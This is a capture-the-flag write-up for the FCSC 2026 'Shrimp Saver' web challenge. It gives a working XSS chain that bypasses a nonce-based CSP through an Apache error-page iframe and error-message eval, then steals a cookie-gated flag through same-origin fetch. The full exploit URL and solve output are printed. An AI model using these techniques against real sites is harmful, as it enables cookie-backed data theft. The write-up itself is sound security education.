Shrimp Saver [EN]| FCSC 2026
Shrimp Saver | FCSC 2026
Challenge
Rien de mieux qu’un petit ecran de veille a base de crustaces pour egayer son poste de travail !
I was given the full source of a Docker stack:
- Web app, PHP/Apache serving a bouncing-shrimp screensaver page with a nonce-based CSP.
- Bot, a Puppeteer (headless Chromium 146) service that sets an
httpOnlycookieflag_authon the challenge domain, then visits a user-supplied URL. Everyconsole.logfrom the browser is forwarded back through the TCP connection.
Goal: Exfiltrate the flag from /flag.php, which requires the bot’s flag_auth cookie.
Source Code Analysis
index.php | Strict CSP
$nonce = base64_encode(random_bytes(16));
header("Content-Security-Policy: default-src 'self'; connect-src 'self'; script-src 'nonce-$nonce';");
The CSP is very strict: scripts require a per-request random nonce, no 'unsafe-inline', no 'unsafe-eval', no 'self' in script-src. The page loads a single script: <script nonce="..." src="/app.js"></script>.
What’s notably absent from the CSP: base-uri and form-action. But the real gap turns out to be that error responses from Apache (400, 404, etc.) don’t go through index.php and therefore have no CSP headers at all.
app.js | The DOM Property Copy Gadget
var blacklist = ["constructor", "__proto__"];
function resolvePath(obj, parts) {
let target = obj;
for (let part of parts) {
if (blacklist.includes(part)) throw new Error("Blacklisted path part");
if (target[part] === undefined) throw new Error(`Invalid path ${part}`);
target = target[part];
}
return target;
}
function copy(copyTo, copyFrom) {
const parts = copyTo.split(".");
const lastPart = parts.pop();
const target = resolvePath(document.body, parts);
const value = resolvePath(document.body, copyFrom.split("."));
target[lastPart] = value;
}
const searchParams = new URLSearchParams(window.location.search);
for (const [name, value] of searchParams.entries()) {
copy(name, value);
}
Each URL query parameter triggers a copy(name, value) call that resolves two dot-separated paths from document.body and performs a property assignment. This is an extremely powerful primitive: arbitrary property write on any object reachable from document.body, including window (via ownerDocument.defaultView), all prototypes, and all global constructors.
The blacklist blocks constructor and __proto__, but as we’ll see the exploit doesn’t need them at all.
flag.php | The Target
$secret = getenv('COOKIE_SECRET') ?: 'super_secret_cookie_value_change_me';
if (!isset($_COOKIE['flag_auth']) || $_COOKIE['flag_auth'] !== $secret) {
http_response_code(403);
die('This would be nice to see the flag, but you are not authorized to do so.');
}
echo getenv('FLAG') ?: 'FCSC{flag_placeholder}';
Returns the flag only if the flag_auth cookie matches the secret. The cookie is httpOnly + sameSite: Strict, so JavaScript can’t read it. Same-origin fetch() will include it though.
bot.js | The Exfiltration Channel
The bot sets the flag_auth cookie, visits our URL, waits 3 seconds, and relays all console.log output back:
page.on("console", (msg) => {
console.log(`[T${id}]> console.${msgType} | ${msg.text()}`);
});
Vulnerability Analysis
The copy gadget gives us arbitrary property writes, but the nonce-based CSP blocks all conventional script execution (inline handlers, eval(), javascript: URIs, dynamically created <script> tags).
Ok so basically the breakthrough comes from combining three techniques:
- Two-step innerHTML injection to create DOM elements from the URL hash
- CSP bypass via an iframe’s error page (Apache’s 400 response has no CSP)
- Parentheses-less XSS via error message crafting (terjanq’s technique)
Exploit Chain
Step 1 | Inject an iframe via two-step innerHTML
The URL hash carries an HTML-entity-encoded iframe tag:
#<iframe/name="PAYLOAD"/id="i"/src=%GG>
Two successive copy calls decode it into a real DOM element:
copy("innerHTML", "ownerDocument.defaultView.location.hash")
This sets document.body.innerHTML = "#<iframe...>". The browser renders the HTML entities as visible text, no iframe is created yet, just the decoded string as textContent.
copy("innerHTML", "innerText")
document.body.innerText returns the decoded text: <iframe name="PAYLOAD" id="i" src=%GG>. Setting innerHTML to this string creates a real iframe element.
This looks interesting because the iframe has:
id="i", accessible aswindow.ivia named window accessname, which carries the JavaScript payload for the error-message tricksrc=%GG, invalid percent-encoding that triggers a 400 Bad Request from Apache
Step 2 | CSP bypass via the iframe’s error page
src=%GG causes Apache to return a 400 Bad Request. This error response is generated by Apache itself, not by index.php, so it carries no CSP headers.
The iframe’s contentWindow.eval therefore operates in a CSP-free context. That’s the critical bypass enabling arbitrary code execution.
Step 3 | Parentheses-less XSS (terjanq’s technique)
Reference: Arbitrary Parentheses-less XSS
Three more copy calls set up the execution chain:
copy("ownerDocument.defaultView.i.onload", "ownerDocument.defaultView.atob")
copy("ownerDocument.defaultView.onerror", "ownerDocument.defaultView.i.contentWindow.eval")
copy("ownerDocument.defaultView.TypeError.prototype.name", "ownerDocument.defaultView.i.name")
When the iframe finishes loading (even the 400 error page triggers onload):
-
atob(event)is called. The Event object stringifies to"[object Event]", which is invalid base64. This throws a TypeError. -
The uncaught error triggers
window.onerror(message, ...)which is set to the iframe’seval. -
Chrome formats the error message as:
Uncaught {error.name}: {error.message}. Since we pollutedTypeError.prototype.namewith the iframe’snameattribute, the message becomes:
Uncaught -eval(atob('base64payload'));var Uncaught//: Failed to execute 'atob'...
- When
eval()processes this string as JavaScript:var Uncaughtis hoisted, so the initialUncaughtreference doesn’t throw a ReferenceErrorUncaught - eval(atob('...'))evaluates the subtraction, executing oureval(atob(...))as a side effectvar Uncaughtis then a no-op (already hoisted)//: Failed to execute...is a comment, the rest of the error message is ignored
Step 4 | Flag exfiltration
The base64 payload decodes to:
fetch(`/flag.php`).then(r=>r.text()).then(x=>top.console.log(x))
This runs inside the iframe’s CSP-free context. fetch('/flag.php') is same-origin, so the httpOnly cookie is included. The response (the flag) is logged via top.console.log(), which the bot relays back.
Final URL
http://shrimp-saver/?innerHTML=ownerDocument.defaultView.location.hash&innerHTML=innerText&ownerDocument.defaultView.i.onload=ownerDocument.defaultView.atob&ownerDocument.defaultView.onerror=ownerDocument.defaultView.i.contentWindow.eval&ownerDocument.defaultView.TypeError.prototype.name=ownerDocument.defaultView.i.name#<iframe/name="-eval(atob('ZmV0Y2goYC9mbGFnLnBocGApLnRoZW4ocj0+ci50ZXh0KCkpLnRoZW4oeD0+dG9wLmNvbnNvbGUubG9nKHgpKQ=='));var/**/Uncaught//"/id="i"/src=%GG>
Breaking down the 5 query parameters:
| # | Parameter | Effect |
|---|---|---|
| 1 | innerHTML=ownerDocument.defaultView.location.hash |
Body innerHTML = URL hash (HTML entities as text) |
| 2 | innerHTML=innerText |
Body innerHTML = decoded text (creates the iframe) |
| 3 | ...i.onload=...atob |
iframe onload = atob (triggers error on load) |
| 4 | ...onerror=...i.contentWindow.eval |
window.onerror = iframe’s eval (no CSP) |
| 5 | ...TypeError.prototype.name=...i.name |
Error name = JS payload from iframe name attr |
And the URL hash (decoded):
<iframe name="-eval(atob('ZmV0Y2goYC9mbGFnLnBocGApLnRoZW4ocj0+ci50ZXh0KCkpLnRoZW4oeD0+dG9wLmNvbnNvbGUubG9nKHgpKQ=='));var/**/Uncaught//" id="i" src=%GG>
/**/ is used instead of a space in var Uncaught because spaces in HTML attribute values would break the parsing.
Execution
echo 'http://shrimp-saver/?innerHTML=ownerDocument.defaultView.location.hash&innerHTML=innerText&ownerDocument.defaultView.i.onload=ownerDocument.defaultView.atob&ownerDocument.defaultView.onerror=ownerDocument.defaultView.i.contentWindow.eval&ownerDocument.defaultView.TypeError.prototype.name=ownerDocument.defaultView.i.name#<iframe/name="-eval(atob('ZmV0Y2goYC9mbGFnLnBocGApLnRoZW4ocj0+ci50ZXh0KCkpLnRoZW4oeD0+dG9wLmNvbnNvbGUubG9nKHgpKQ=='));var/**/Uncaught//"/id="i"/src=%GG>' \
| nc challenges.fcsc.fr 2258
Starting the browser...
[T1]> New tab created!
[T1]> navigating | about:blank
Setting the secret cookie...
The bot is visiting the main page...
[T1]> navigating | http://shrimp-saver/
Going to the user provided link...
[T1]> navigating | http://shrimp-saver/?innerHTML=...
[T1]> console.error | Failed to load resource: the server responded with a status of 400 (Bad Request)
[T1]> console.log | FCSC{6be5a23fc9b91d39125c3dd1ca72a4c9bfc7119c9482c6fc21b86635ae328662}
Leaving o/
[T1]> Tab closed!
Flag
FCSC{6be5a23fc9b91d39125c3dd1ca72a4c9bfc7119c9482c6fc21b86635ae328662}